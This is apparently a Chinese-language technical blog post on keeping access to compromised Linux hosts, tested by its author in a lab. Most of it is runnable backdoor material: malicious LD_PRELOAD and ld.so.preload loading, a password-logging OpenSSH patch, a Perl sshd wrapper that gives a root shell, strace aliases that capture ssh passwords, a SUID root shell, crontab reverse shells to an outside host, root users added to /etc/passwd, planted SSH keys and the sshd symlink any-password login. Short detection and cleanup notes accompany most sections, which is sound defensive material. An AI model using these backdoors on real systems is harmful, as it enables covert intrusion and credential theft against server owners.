Linux单机权限维持

Linux单机权限维持

进程注入

目前看来所有的进程注入都是指的以附加.so文件的形式注入。

原理:Linux Infecting Running Processes
译文:linux进程注入

工具推荐:
1.linux-inject
使用ptrace向进程中注入恶意so文件
使用示例:Linux权限维持之进程注入
2.dlinject
不使用ptrace向进程中注入恶意so文件

排查方式

1.基于时间线索筛出so文件
2.遍历进程,获取so观察时间

Linux预加载型恶意动态链接库

预备知识点

1.linux动态链接库预加载机制:
在linux操作系统的动态链接库加载过程中,动态链接器会读取LD_PRELOAD环境变量的值和默认配置文件/etc/ld.so.preload的文件内容,并将读取到的动态链接库进行预加载。即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

2.全局符号介入
全局符号介入指的是应用程序调用库函数时,调用的库函数如果在多个动态链接库中都存在(存在同名函数),那么链接器只会保留第一个链接的函数,而忽略后面链接进来的函数。所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。

利用LD_PRELOAD环境变量

LD_PRELOAD环境变量是会及时生效的,加载恶意动态链接库方法如下:

1
2
LD_PRELOAD=/lib/evil.so # LD_PRELOAD的值设置为要预加载的动态链接库
export LD_PRELOAD # 导出环境变量使该环境变量生效

(导出后应该就会被隐藏,没试也不知道为什么

排查

1
2
echo $LD_PRELOAD # 查看是否加载了库以及是否恶意
unset LD_PRELOAD # 解除设置的LD_PRELOAD环境变量

利用ld.so.preload配置文件

将恶意动态链接库路径写入/etc/ld.so.preload(没有则创建)配置文件中即生效,对应的恶意动态链接库文件被隐藏。

1
echo "/lib/evil.so" > /etc/ld.so.preload

排查

因为恶意动态链接库一般都有隐藏/etc/ld.so.preload文件的功能,使用普通的lscat等命令无法读取对应配置文件的内容,此时我们可以使用静态编译的ls命令、cat命令(推荐使用busybox自带命令)来绕过预加载的恶意动态链接库。

清除顺序:
(a)/etc/ld.so.preload文件中查看到的/lib/evil.so文件
(b)/etc/ld.so.preload文件中的内容

排查案例参考:
记一次CPU占用过半,进程被隐藏的木马
Linux 遭入侵,挖矿进程被隐藏案例分析

修改动态链接器

通过修改动态链接器中配置文件路径/etc/ld.so.preload为自定义的路径来实现更加隐蔽的恶意动态链接库预加载。
rootkit示例:Vlany

排查

使用文件完整性检查来检查该动态链接器是否被修改。

基于SSH衍生后门

用的似乎不多,因为公网开ssh的不多。

openssh源码包替换后门文件

CentOS

实践参考:
1.OpenSSH万能后门
2.OpenSSH源码下载地址

实践的过程发现编译出错,看了一下代码发现是博主原文写错:

1
2
3
4
auth-passwd.c:88:57: 错误:‘Authctxt’没有名为‘server_user’的成员
fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
auth-passwd.c:88:88: 错误:‘Authctxt’没有名为‘host’的成员
fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);

改成如下即可:

1
fprintf(f,"username: %s password: %s", authctxt->user, password);

Centos SSH日志位置:/var/log/secure

Ubuntu

别问…问就是搞了两小时环境都没搞对….

ssh wrapper正向后门

可以理解为另写了一个带ssh功能的程序代替了/usr/sbin/sshd

受害主机上执行:

1
2
3
4
5
6
7
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod +x sshd
[root@localhost sbin]# service sshd restart

后门代码解释:
第一行,如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则..zf,上述代码中的zf是Big网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell(因为sshd是以root权限运行的)给远程socket(一般只有攻击者指定连接的源端口才能触发这一行的执行)
第二行,启动sshd(/usr/bin/sshd是真正的sshd)服务,凡是传递给/usr/sbin/sshd(后门)的参数都传递给真正的sshd(这一行保证了普通用户也可以正常使用ssh服务,登录并不会有什么异常现象)

攻击主机上执行:

1
socat STDIO TCP4:10.18.180.20:22,sourceport=13377

源端口修改计算:

1
2
3
4
5
6
7
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

还有一个Python版:使用python编写了openssh后门,没有试。

CentOS7实践的坑

/usr/sbin/sshd篡改后,正常用户无法ssh连上去。

1
2
3
4
5
6
# mieea @ mieea-mbp in ~ [9:08:38]
$ ssh u111@10.211.55.12 -p 22
u111@10.211.55.12's password:
Last login: Fri Oct 30 09:05:02 2020
/bin/bash: Permission denied
Connection to 10.211.55.12 closed.

搜索后发现是由于SeLinux检测到sshd文件已更改,因此如果不禁用SeLinux,它将阻止通过ssh连接服务器。
于是我把/etc/selinux/config的SELinux属性设置为disabled,再reboot重启,ssh就能正常使用了。

因为遇到这个问题,我在Ubuntu18.04下也试了一次,并没有影响正常用户ssh连接。nice :)

参考

[1].渗透技巧之SSH篇
[2].【转载】一款短小精致的SSH后门分析
[3].Hide OpenSSH version–解决CentOS实践的坑
[4].如何在CentOS 8上禁用SELinux
[5].Linux基础软件威胁疑云:从已知到“未知”
[6].ESET-The_Dark_Side_of_the_ForSSHe.pdf

排查方式

查MD5看是否被篡改。
CentOS:

1
2
rpm -Vf /usr/bin/ssh
rpm -Va

Ubuntu:

1
sudo debsums --changed

PAM后门

pam后门通常是指pam源码包修改重编译替换。
推荐阅读:Linux Pam后门总结拓展
总体和前面OpenSSH源码植入代码重新打包的感觉很像,而且更加繁琐。校验方式也是和SSH校验一样的,官方校验。

VIM后门

命令:
$(nohup vim -E -c "pyfile door.py"> /dev/null 2>&1 &) && sleep 2 && rm -f door.py
试了试感觉异常的不好用,所以也不写了。

排查方式

检测对应vim进程号虚拟目录的map文件是否有python字符。(是否不够靠谱?)

strace记录后门

1
2
3
# vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc

使用了一下感觉还行?主要是简单,但log文件有点太大了。

按理说su命令也可以做类似操作,但实际不行:

1
alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su'

分析参见: 利用su小偷实现低权限用户窃取root用户口令

扩展

1
2
3
# vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc

这里是改的/etc/bashrc,改动后所有新打开的bash都会生效。
/etc路径下的配置文件将会应用到整个系统,属于系统级的配置,而修改用户目录下的.bashrc则只是限制在用户应用上,属于用户级设置。

排查

使用alias命令即可发现,或者去排查/etc/bashrc等shell配置文件。

基于suid衍生后门

setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

基础后门示例

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}

编译加权:

1
2
gcc backdoor.c -o backdoor
chmod u+s /bin/backdoor

常规crontab反弹shell

CentOS定时任务参数说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[u111@CentOS7 cron.d]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

Ubuntu定时任务参数说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
u111@host1:/var/spool/cron$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

基本是没什么区别,但ubuntu有一个坑点需要注意,就是/bin/sh指向dash从而会导致反弹失败。
参考阅读: 解决ubuntu crontab反弹shell失败的问题

辅助工具: crontab执行时间计算

反弹示例1

实验环境CentOS7
存放反弹文件doorr.sh:

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.211.55.15/12323 0>&1

输入命令crontab -e进行编辑,加入内容:

1
*/3 * * * * bash /home/u111/doorr.sh

doorr.sh设置了u+x,但普通用户和root用户的crontab -e依旧影响权限,普通反弹普通用户shell,root的才能反弹root。可能有办法在普通用户的crontab反弹root权限shell,暂时没查。

反弹示例2

实验环境CentOS7
root用户输入命令crontab -e进行编辑,加入内容:

1
*/1 * * * * bash -i >& /dev/tcp/10.211.55.15/12323  0>&1

会在/var/spool/cron目录下生成root文件,注意文件权限为600。

1
2
3
4
5
[root@CentOS7 cron]# pwd
/var/spool/cron
[root@CentOS7 cron]# ll
总用量 4
-rw-------. 1 root root 58 11月 6 14:42 root

如果是普通用户u111输入命令crontab -e进行创建,则会生成/var/spool/cron/u111文件。

Ubuntu反弹注意事项

实验环境Ubuntu18.04
解决方式1: 将/bin/sh指向从dash改到bash

1
ln -s -f bash /bin/sh

解决方式2: 避免在cron文件里去使用bash这个shell,另外去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件。
脚本文件/root/doorr.sh:

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.211.55.15/12323 0>&1 

crontab -e进行编辑,加入内容:

1
*/1 * * * * /root/doorr.sh

排查

一般通过crontab -l命令即可检测到定时任务后门。crontab -r进行删除。

参考

[1].CentOS7定时任务crontab入门

开机启动init.d

functions

将后门代码藏到/etc/rc.d/init.d/functions中。
Linux维权后门_functions

排查

不同的linux发行版可能查看开机启动项的文件不大相同。
Debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。
而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。

环境变量

函数重载

learn from: BROOTKIT代码学习和原理分析
关于BROOTKIT如何实现文件、进程、端口的隐藏和盗取root用户密码:
install.sh安装程序中有一行代码:cp brootkit.sh /etc/profile.d/emacs.sh,这一行代码的作用在于——以后每次打开一个登录shell的时候都会加载这个脚本(而脚本中的内容是一些和builtin命令重名的自定义function),从而实现Bash函数重载,过滤掉相关输出内容,这样就可以达到自定义隐藏文件、进程、端口+盗取root用户密码的目的。
但是简单的函数重载会被Bash内建的builtin/declare/typeset/type/set/command等命令识别出来,所以,除了给ls/ps/netstat等命令重新实现function之外,还需要做进一步的处理,即将这些builtin命令也进行重载。这样就可以实现自定义隐藏文件、进程、端口+盗取root用户密码的功能。

在Bash中命令的执行遵循下面的顺序:

1
2
3
4
1. 自定义alias: alias su="ls -l"
2. 自定义function: function su { echo "Hello world"; }
3. Bash内置命令builtin
4. 外部程序(在环境变量PATH中进行查找)

简单但容易被发现系列

添加root权限后门用户

Way1

用脚本生成密码:

1
2
[u111@CentOS7 ~]$ perl -e 'print crypt("233233","\$6\$lfeC2bwp\$") . "\n"'
$6$lfeC2bwp$CHZDNi3FN4Wx7CfZ4hmsQ2EobrMxnLT4ox9bPgkloSzGOXEaY8ovBOYIxMfuWU.4GTcg7rq65Mq0flISqZHE01

/etc/passwd中追加用户:

1
backdoor:$6$lfeC2bwp$CHZDNi3FN4Wx7CfZ4hmsQ2EobrMxnLT4ox9bPgkloSzGOXEaY8ovBOYIxMfuWU.4GTcg7rq65Mq0flISqZHE01:1000:1000::/home/u111:/bin/bash

原本我想添加root组,但是因为这边限制了root无法远程ssh,所以改到了u111。但是接下来又出现了问题:

1
2
3
[u111@CentOS7 ~]$ sudo cat /etc/passwd
[sudo] u111 的密码:
u111 不在 sudoers 文件中。此事将被报告。

但我su能直接切到root权限,然后就正常了,不太明白但暂时就这样把:

1
2
3
4
5
6
7
8
9
10
# mieea @ mieea-mbp in ~ [15:10:53]
$ ssh backdoor@10.211.55.12
backdoor@10.211.55.12's password:
Last login: Mon Nov 2 15:09:14 2020 from 10.211.55.2
[u111@CentOS7 ~]$ whoami
u111
[u111@CentOS7 ~]$ su
密码:
[root@CentOS7 u111]# whoami
root

————20201209update

犯了一个缺乏运维基础知识的错…su和sudo当然不一样
sudo用不了是因为没在/etc/sudoers文件中配置:

1
2
3
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
u111 ALL=(ALL) ALL

Way2

用脚本生成密码:

1
2
[u111@CentOS7 ~]$ perl -e 'print crypt("678233","\$6\$lfeC2bwp\$") . "\n"'
$6$lfeC2bwp$Edp4I6FXzv17d/V2/f2KbkFQ6b3paA21f722955psSd4t2GbWe4yzy29ftRRuW91Bbog7u42cg4tU52NIMxRm/

/etc/passwd中追加用户:

1
backdoor2:$6$lfeC2bwp$Edp4I6FXzv17d/V2/f2KbkFQ6b3paA21f722955psSd4t2GbWe4yzy29ftRRuW91Bbog7u42cg4tU52NIMxRm/:0:0::/root:/bin/bash

一般都会限制root的远程ssh登陆,因此:

1
vi /etc/ssh/sshd_config

PermitRootLogin的值改成yes。
再重启sshd:

1
service sshd restart

登陆成功:

1
2
3
4
5
6
7
8
9
10
11
# mieea @ mieea-mbp in ~ [15:33:32] C:255
$ ssh backdoor2@10.211.55.12
backdoor2@10.211.55.12's password:
Last login: Mon Nov 2 15:31:59 2020 from 10.211.55.2
[root@CentOS7 ~]# w
15:34:06 up 1:12, 2 users, load average: 0.00, 0.01, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
u111 tty1 14:44 49:10 0.00s 0.00s -bash
backdoor pts/0 10.211.55.2 15:34 3.00s 0.00s 0.00s w
[root@CentOS7 ~]# whoami
root

可疑用户排查

ssh公钥添加

在攻击机任意地方执行:

1
2
3
ssh-keygen -b 4096 -t rsa -C ""

-t 指定加密算法,使用 -b 自定生成密钥长度,使用 -C 添加密钥对的说明comment。生成的密钥对默认存储在用户目录下的 .ssh 目录中,私钥默认名称为 id_*** (即 id_ + 加密算法名称)。还可以使用 -f 指定生成的私钥存储的文件全路径名称;也可以不使用 -f 指定密钥文件路径,在密钥的创建过程中还会提示用户输入密钥文件全路径名称。私钥对应的公钥文件为私钥文件全名称 + .pub。

受害机:

1
vi /root/.ssh/authorized_keys

攻击者的id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴)

然后就能在攻击机登陆上去了:

1
ssh -i /Users/mieea/.ssh/testkey root@10.211.55.12

ssh软连接

经典后门,直接对sshd建立软连接,之后用任意密码登录即可。
原命令:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=12345;

原理分析完整:Linux软连接ssh后门之我见
摘要一下重点:
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆。
为什么是通过软连接的方式?因为PAM认证是通过软连接的文件名(如/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn。

实践的坑点

CentOS7:

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

软连接建立后,新的端口链接被拒绝。即-p 22是正常的,-p 12345拒绝连接。
搜索后发现应该和SELinux和防火墙有关,进行以下操作后就能任意密码登陆:

1
2
3
semanage port -a -t ssh_port_t -p tcp 12345
firewall-cmd --permanent --zone=public --add-port=12345/tcp
firewall-cmd --reload

参考:更改CentOS7默认的SSH端口

Ubuntu18.04:

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

命令执行后u111用户可以正常任意密码登陆,但root无法登陆,提示Permission denied, please try again.
修改PermitRootLogin为yes后依然不行,搜了半天也搜不到解决方案,暂时放弃。

排查

进程和端口都能发现异常:

1
2
netstat -anplt
ps auxf

参考

[1].linux常见backdoor及排查技术
[2].Linux下的权限维持
[3].警惕利用Linux预加载型恶意动态链接库的后门